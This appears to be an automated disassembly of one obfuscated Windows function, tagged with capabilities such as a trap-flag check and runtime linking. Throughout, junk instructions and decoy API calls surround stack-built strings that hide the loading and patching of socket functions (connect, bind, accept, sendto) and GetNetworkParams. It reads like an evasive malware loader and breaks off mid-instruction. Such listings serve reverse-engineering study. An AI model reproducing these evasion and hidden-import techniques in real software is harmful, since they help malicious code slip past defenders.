Function at 0x40d0d6
Capabilities:
Accept command line arguments
Check for trap flag exception
Link many functions at runtime

Disassembly:
pushal
mov ebx, esp
pushfd
push ecx
btr ecx, 1
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pminsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push ebx
mov dword [esp], 0x9d106c63
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0x9ca3ffff
pop ecx
push 0x2e74656e
pushfd
push ebx
rol ebx, 2
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
mov dword [esp], 0x70da6978
add dword [esp], 0xf893ffff
push esp
call sub.KERNEL32.DLL_LoadLibraryA
pushfd
push eax
btr eax, 0x1f
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40d160
mov esi, eax
pushfd
push ebx
rcl ebx, 0x1e
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push edx
push ebx
pushfd
cmova edx, ebx
popfd
pop ebx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov esp, ebx
pushfd
push edx
shl edx, 0x1f
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
push ebx
pushfd
cmovb edx, ebx
popfd
pop ebx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push eax
mov dword [esp], 0x87120042
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x78edffff
pop ebx
pushfd
push ebx
bt ebx, 0xa
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fptan
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push eax
mov dword [esp], 0x36637050
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x3801ffff
pop ebx
push eax
mov dword [esp], 0x8a616e73
push esi
mov esi, esp
add esi, 4
add dword [esi], 0xea03ffff
pop esi
push 0x6a46e48
sub dword [esp], 0xa12fffff
pushfd
push esi
rcl esi, 5
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push ebx
setbe bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push esp
push esi
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push ebx
bt ebx, 0x13
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push eax
seta al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
mov dword [0x4219e7], eax
mov esp, ebx
push 0
push ecx
mov dword [esp], 0x90e07256
add dword [esp], 0xb08bffff
pushfd
push esi
btc esi, 0x17
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
por mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push eax
mov dword [esp], 0x9cad7050
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0xd1b7ffff
pop ebx
push 0xf3496e71
sub dword [esp], 0x7ee3ffff
push 0x6ee26e48
sub dword [esp], 0x96dffff
pushfd
push edx
btc edx, 7
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
frndint
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push esp
push esi
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push edx
shl edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
push ecx
pushfd
cmove esi, ecx
popfd
pop ecx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov dword [0x4219eb], eax
pushfd
push ecx
shl ecx, 0xc
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
frndint
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov esp, ebx
pushfd
push esi
ror esi, 0x13
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40d336
push 0
pushfd
push esi
shl esi, 5
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40d366
push esi
mov dword [esp], 0xd1826945
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0x6c15ffff
pop ecx
push eax
mov dword [esp], 0x17e76553
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x4c79ffff
pop eax
pushfd
push edx
sar edx, 2
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pcmpeqd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push eax
mov dword [esp], 0x36f56e73
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x3d6fffff
pop eax
push eax
mov dword [esp], 0xbb8a6e4a
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0xa9e9ffff
pop ecx
push esp
push esi
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push eax
shl eax, 7
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esi
push eax
pushfd
cmovge esi, eax
popfd
pop eax
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov dword [0x4219ef], eax
mov esp, ebx
pushfd
push esi
ror esi, 0
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40d430
push eax
mov dword [esp], 0x29216c65
push eax
mov eax, esp
add eax, 4
add dword [eax], 0xd743ffff
pop eax
pushfd
push ebx
shl ebx, 0x15
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pushfd
push ebx
setp bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push 0x4a93ffff
mov dword [esp], 0x24f2b79a
xor dword [esp], 0x4a93ffff
push eax
mov dword [esp], 0xcd1d6c44
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xa651ffff
pop edx
push 0x7c256e71
sub dword [esp], 0x7bfffff
pushfd
push esi
bts esi, 7
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ebx
push esi
pushfd
or ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push edx
mov dword [esp], 0x5426e4a
add dword [esp], 0x6031ffff
pushfd
push esi
shl esi, 0x1b
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pandn mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push esp
push esi
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push edx
shl edx, 7
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40d512
mov dword [0x4219f3], eax
pushfd
push esi
bts esi, 8
pop esi
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
push ecx
pushfd
sub ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
mov esp, ebx
pushfd
push esi
shl esi, 0x12
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
paddsw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push 0
pushfd
push ebx
btc ebx, 0x16
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push ebx
push esi
pushfd
cmovp ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push edx
mov dword [esp], 0x72a64566
add dword [esp], 0xced1ffff
push 0x45d97452
sub dword [esp], 0xd177ffff
pushfd
push eax
bt eax, 8
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
push ecx
pushfd
cmovae ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push eax
mov dword [esp], 0x595b7464
add dword [esp], 0xb09ffff
push 0x68b06e6e
sub dword [esp], 0x341ffff
pushfd
push esi
rol esi, 0x16
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
wait
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push edx
mov dword [esp], 0x80be6546
push edx
mov edx, esp
add edx, 4
sub dword [edx], 0x3d49ffff
pop edx
pushfd
push ebx
btc ebx, 0x1f
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
fxam
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push edx
mov dword [esp], 0x34bd6e73
add dword [esp], 0x3fa7ffff
push 0x37b46e48
sub dword [esp], 0xd23fffff
push esp
push esi
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push ebx
bt ebx, 7
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ebx
setg bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
mov dword [0x4219f7], eax
mov esp, ebx
push 0
push 0x6c6c642e
push edx
mov dword [esp], 0x8a0e616f
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0x209dffff
pop esi
pushfd
push ecx
btc ecx, 0x15
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fsincos
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push edx
mov dword [esp], 0x866c7068
push esi
mov esi, esp
add esi, 4
sub dword [esi], 0x1a03ffff
pop esi
pushfd
push ebx
bts ebx, 2
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
frndint
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push esp
call sub.KERNEL32.DLL_LoadLibraryA
pushfd
push edx
sar edx, 5
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push eax
push eax
pushfd
cmovle eax, eax
popfd
pop eax
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov esi, eax
pushfd
push ebx
rcl ebx, 0x1c
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
movq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push 0x285f666d
sub dword [esp], 0x27efffff
pushfd
push eax
rcr eax, 6
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40d73a
push 0x1c717264
sub dword [esp], 0xd2fdffff
push ecx
mov dword [esp], 0x9ad66165
add dword [esp], 0xd999ffff
push edx
mov dword [esp], 0x8eb86548
add dword [esp], 0xb2bbffff
pushfd
push esi
rol esi, 0x15
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push esp
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov edi, 0x4162a2
pushfd
push esi
sar esi, 0x15
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40d7ac
mov edi, dword [edi + 2]
pushfd
push ebx
rcr ebx, 0x16
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push esi
push ecx
pushfd
add esi, ecx
popfd
pop ecx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
stosd dword es:[edi], eax
mov esp, ebx
push 0
pushfd
push eax
bts eax, 5
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push esi
push edx
pushfd
cmovb esi, edx
popfd
pop edx
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push 0x16dbffff
mov dword [esp], 0x65b69e8d
xor dword [esp], 0x16dbffff
pushfd
push ebx
btc ebx, 0x16
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
f2xm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push eax
mov dword [esp], 0x3f9e6b73
add dword [esp], 0x21b1ffff
push eax
mov dword [esp], 0x9e9b7466
push edx
mov edx, esp
add edx, 4
add dword [edx], 0xd0dbffff
pop edx
pushfd
push ebx
shl ebx, 7
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pmaxub mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0x8e746546
sub dword [esp], 0x3fffffff
push esp
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov edi, sub.iphlpapi.dll_GetNetworkParams
pushfd
push ebx
bts ebx, 0x1d
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pcmpeqd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov edi, dword [edi + 2]
pushfd
push edx
sar edx, 0x10
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
paddusb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
stosd dword es:[edi], eax
mov esp, ebx
pushfd
push ecx
sar ecx, 0x19
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pcmpeqd mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
mov esi, esp
push 0x3ca1ffff
mov dword [esp], 0x3ca19393
xor dword [esp], 0x3ca1ffff
push 0x642e3233
pushfd
push ebx
ror ebx, 6
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fprem
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
push ecx
mov dword [esp], 0xcd6e7376
push eax
mov eax, esp
add eax, 4
sub dword [eax], 0x6e3bffff
pop eax
push esp
call sub.KERNEL32.DLL_LoadLibraryA
pushfd
push ecx
ror ecx, 0x1b
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
push ecx
pushfd
cmovne edx, ecx
popfd
pop ecx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov esp, esi
pushfd
push ebx
shl ebx, 0x1c
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push eax
dec al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov ebx, eax
push eax
mov dword [esp], 0x6a72746f
push edx
mov edx, esp
add edx, 4
sub dword [edx], 0x6a71ffff
pop edx
push 0x1587ffff
mov dword [esp], 0x70e49c9e
xor dword [esp], 0x1587ffff
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push edx
shl edx, 0xf
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
stc
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov esp, esi
pushfd
push ebx
bt ebx, 0x1a
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
fcom st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov edi, sub.wsock32.dll_accept
mov edi, dword [edi + 2]
pushfd
push eax
sar eax, 0x1f
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
wait
fnclex
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
stosd dword es:[edi], eax
pushfd
push ebx
shl ebx, 0x1e
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pcmpeqw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push 0
push 0x5515ffff
mov dword [esp], 0x387a8d99
xor dword [esp], 0x5515ffff
push eax
mov dword [esp], 0xd9496573
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x9d19ffff
pop ebx
pushfd
push ecx
shl ecx, 0x1f
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ebx
setns bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov esp, esi
mov edi, sub.wsock32.dll_recvfrom
mov edi, dword [edi + 2]
pushfd
push ebx
shl ebx, 0xd
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
packsswb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
stosd dword es:[edi], eax
push eax
mov dword [esp], 0x2de46f75
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0xd21bffff
pop ecx
push esi
mov dword [esp], 0xf7126572
push edx
mov edx, esp
add edx, 4
sub dword [edx], 0x92a3ffff
pop edx
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push ebx
rcr ebx, 0x15
pop ebx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
mov esp, esi
mov edi, sub.wsock32.dll_sendto
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
push 0
pushfd
push edx
sar edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push eax
push ecx
pushfd
sub eax, ecx
popfd
pop ecx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push ebx
mov dword [esp], 0xb84c6961
push ebx
mov ebx, esp
add ebx, 4
sub dword [ebx], 0x53ddffff
pop ebx
pushfd
push ebx
rcr ebx, 0x13
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push edx
push edx
pushfd
cmove edx, edx
popfd
pop edx
pop edx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov esp, esi
pushfd
push esi
ror esi, 0x1e
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push eax
setg al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
mov edi, sub.wsock32.dll_bind
pushfd
push ebx
btc ebx, 6
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
setb cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
mov edi, dword [edi + 2]
pushfd
push esi
shl esi, 0x1f
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
pushfd
push ecx
setne cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
stosd dword es:[edi], eax
push 0x3dc67462
sub dword [esp], 0x3dc5ffff
pushfd
push eax
btr eax, 3
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
pand mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push ebx
mov dword [esp], 0xada6572
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0xa56dffff
pop ecx
pushfd
push ebx
btc ebx, 0x19
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
punpckhdq mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push esi
shl esi, 0x15
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ebx
push ecx
pushfd
cmovl ebx, ecx
popfd
pop ecx
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
mov esp, esi
pushfd
push edx
btc edx, 0xf
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
pushfd
push ecx
sete cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
mov edi, sub.wsock32.dll_select
pushfd
push esi
btr esi, 0x1a
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ecx
setge cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
pushfd
push esi
bts esi, 0x19
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
fyl2x
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
push 0x94b16d60
sub dword [esp], 0x944bffff
push 0xde77ffff
mov dword [esp], 0xb0059a9a
xor dword [esp], 0xde77ffff
pushfd
push ecx
ror ecx, 0x19
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
pushfd
push ebx
setae bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push 0x57bdffff
mov dword [esp], 0x27c99a98
xor dword [esp], 0x57bdffff
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push ecx
bts ecx, 0xf
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push esi
push eax
pushfd
sbb esi, eax
popfd
pop eax
pop esi
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
mov esp, esi
mov edi, sub.wsock32.dll_getpeername
mov edi, dword [edi + 2]
pushfd
push esi
btc esi, 0x1c
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push ebx
push esi
pushfd
cmovb ebx, esi
popfd
pop esi
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
stosd dword es:[edi], eax
pushfd
push eax
btr eax, 0x1a
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pushfd
push ecx
setge cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push eax
mov dword [esp], 0xf8f16d62
push eax
mov eax, esp
add eax, 4
add dword [eax], 0x773ffff
pop eax
pushfd
push ebx
bt ebx, 0xf
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
psubsb mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThread
popfd
popal
push ebx
mov dword [esp], 0x71ef6370
add dword [esp], 0xfc7bffff
pushfd
push edx
rol edx, 0xe
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push eax
inc al
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push eax
mov dword [esp], 0x24c6568
push ebx
mov ebx, esp
add ebx, 4
add dword [ebx], 0x7127ffff
pop ebx
pushfd
push ecx
shl ecx, 0xe
pop ecx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pushfd
push ecx
setno cl
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push ecx
ror ecx, 0x15
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40ddcb
mov esp, esi
pushfd
push eax
rol eax, 0x1e
pop eax
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push ebx
push eax
pushfd
mov ebx, eax
popfd
pop eax
pop ebx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov edi, sub.wsock32.dll_getsockname
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
push 0
pushfd
push edx
shl edx, 0x17
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
fmulp st(1)
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
push edx
mov dword [esp], 0xa34f5374
add dword [esp], 0xd115ffff
pushfd
push ecx
bts ecx, 0x1f
pop ecx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push ecx
push ecx
pushfd
or ecx, ecx
popfd
pop ecx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
push eax
mov dword [esp], 0x79124642
push eax
mov eax, esp
add eax, 4
add dword [eax], 0xd031ffff
pop eax
push eax
mov dword [esp], 0xc6c35f60
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0x8c93ffff
pop ecx
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push esi
bts esi, 0x1d
pop esi
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fchs
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcess
popfd
popal
mov esp, esi
pushfd
push edx
rcr edx, 1
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40deb8
mov edi, sub.wsock32.dll___WSAFDIsSet
pushfd
push esi
rcl esi, 0x1e
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
wait
fninit
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
mov edi, dword [edi + 2]
pushfd
push ecx
shl ecx, 0x1e
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40df07
stosd dword es:[edi], eax
push 0xb037ffff
mov dword [esp], 0xb0378f8a
xor dword [esp], 0xb037ffff
pushfd
push eax
shl eax, 1
pop eax
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
pushfd
push ebx
setb bl
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push 0x9c446173
sub dword [esp], 0x27d1ffff
push ecx
mov dword [esp], 0x5e775356
push ecx
mov ecx, esp
add ecx, 4
sub dword [ecx], 0xb35ffff
pop ecx
pushfd
push edx
ror edx, 0xe
pop edx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
push ecx
push eax
pushfd
cmovae ecx, eax
popfd
pop eax
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetTickCount
popfd
popal
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push eax
rcl eax, 0x14
pop eax
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
pmulhw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov esp, esi
mov edi, sub.wsock32.dll_WSAStartup
mov edi, dword [edi + 2]
pushfd
push ebx
shl ebx, 0xc
pop ebx
pushal
call sub.KERNEL32.DLL_GetCommandLineA
popal
popfd
push ecx
push ebx
pushfd
cmovg ecx, ebx
popfd
pop ebx
pop ecx
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentThreadId
popfd
popal
stosd dword es:[edi], eax
push 0x92fffff
mov dword [esp], 0x92f8b9a
xor dword [esp], 0x92fffff
push eax
mov dword [esp], 0xf6b76f74
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0x74abffff
pop ecx
pushfd
push ecx
shl ecx, 0x1c
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40e019
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
pushfd
push edx
sar edx, 0xb
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentThreadId
popal
popfd
mov esp, esi
pushfd
push ebx
shl ebx, 0x1a
pop ebx
pushal
call sub.KERNEL32.DLL_GetCurrentThread
popal
popfd
pmulhuw mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetCurrentProcessId
popfd
popal
mov edi, sub.wsock32.dll_socket
mov edi, dword [edi + 2]
pushfd
push edx
btr edx, 0xc
pop edx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push eax
push ecx
pushfd
sbb eax, ecx
popfd
pop ecx
pop eax
pushal
pushfd
call sub.KERNEL32.DLL_GetCommandLineA
popfd
popal
stosd dword es:[edi], eax
push 0x6cf26364
sub dword [esp], 0x6c7dffff
push eax
mov dword [esp], 0xb9126f64
push ecx
mov ecx, esp
add ecx, 4
add dword [ecx], 0xb55bffff
pop ecx
push esp
push ebx
call sub.KERNEL32.DLL_GetProcAddress
mov esp, esi
pushfd
push esi
btc esi, 2
pop esi
pushal
call sub.KERNEL32.DLL_GetCurrentProcessId
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40e0cc
mov edi, sub.wsock32.dll_connect
mov edi, dword [edi + 2]
stosd dword es:[edi], eax
pushfd
push ecx
sar ecx, 0x1e
pop ecx
pushal
call sub.KERNEL32.DLL_GetCurrentProcess
popal
popfd
push edx
call fcn.0040e505
pop edx
jmp 0x40e103
push ebx
mov dword [esp], 0x75120066
add dword [esp], 0x8aedffff
pushfd
push ecx
shl ecx, 5
pop ecx
pushal
call sub.KERNEL32.DLL_GetLastError
popal
popfd
psrad mm0, mm1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push ecx
mov dword [esp], 0x42816e7a
add dword [esp], 0x2adfffff
pushfd
push edx
bts edx, 8
pop edx
pushal
call sub.KERNEL32.DLL_GetTickCount
popal
popfd
fprem1
pushal
pushfd
call sub.KERNEL32.DLL_GetLastError
popfd
popal
push 0x340736e
